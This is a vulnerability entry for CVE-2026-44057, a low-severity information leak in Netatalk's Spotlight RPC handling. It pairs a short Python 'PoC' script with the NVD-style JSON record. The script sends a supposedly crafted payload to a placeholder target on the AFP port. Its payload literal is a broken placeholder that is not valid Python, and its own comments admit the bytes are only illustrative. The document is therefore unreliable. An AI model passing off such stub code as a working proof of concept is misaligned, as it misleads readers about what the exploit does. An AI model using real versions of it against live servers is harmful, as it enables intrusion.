CVE-2026-44057

import socket # PoC for CVE-2026-44057: Netatalk Spotlight RPC Unmarshaller Dead Bounds Check # Description: This script demonstrates sending a crafted Spotlight RPC request # to trigger the unreachable bounds check and potentially leak memory. # Note: Actual exploitation requires authentication and specific protocol knowledge. target_ip = "TARGET_IP" target_port = 548 # Default AFP port # Crafted RPC payload simulating the vulnerability trigger # The specific bytes here are illustrative; actual exploitation requires reversing the struct. payload = b"\x00\x04\xaf\xpo..." # Placeholder for malformed structure try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Assuming AFP session establishment is done prior... s.send(payload) response = s.recv(1024) print("Response received:", response) s.close() except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-44057", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T09:16:27.930", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A dead bounds check in the Spotlight RPC unmarshaller in Netatalk 3.0.0 through 4.4.2 results in an unreachable code path that provides no effective bounds protection, which may allow a remote authenticated attacker to obtain limited information via crafted Spotlight RPC requests."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-561"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44057", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}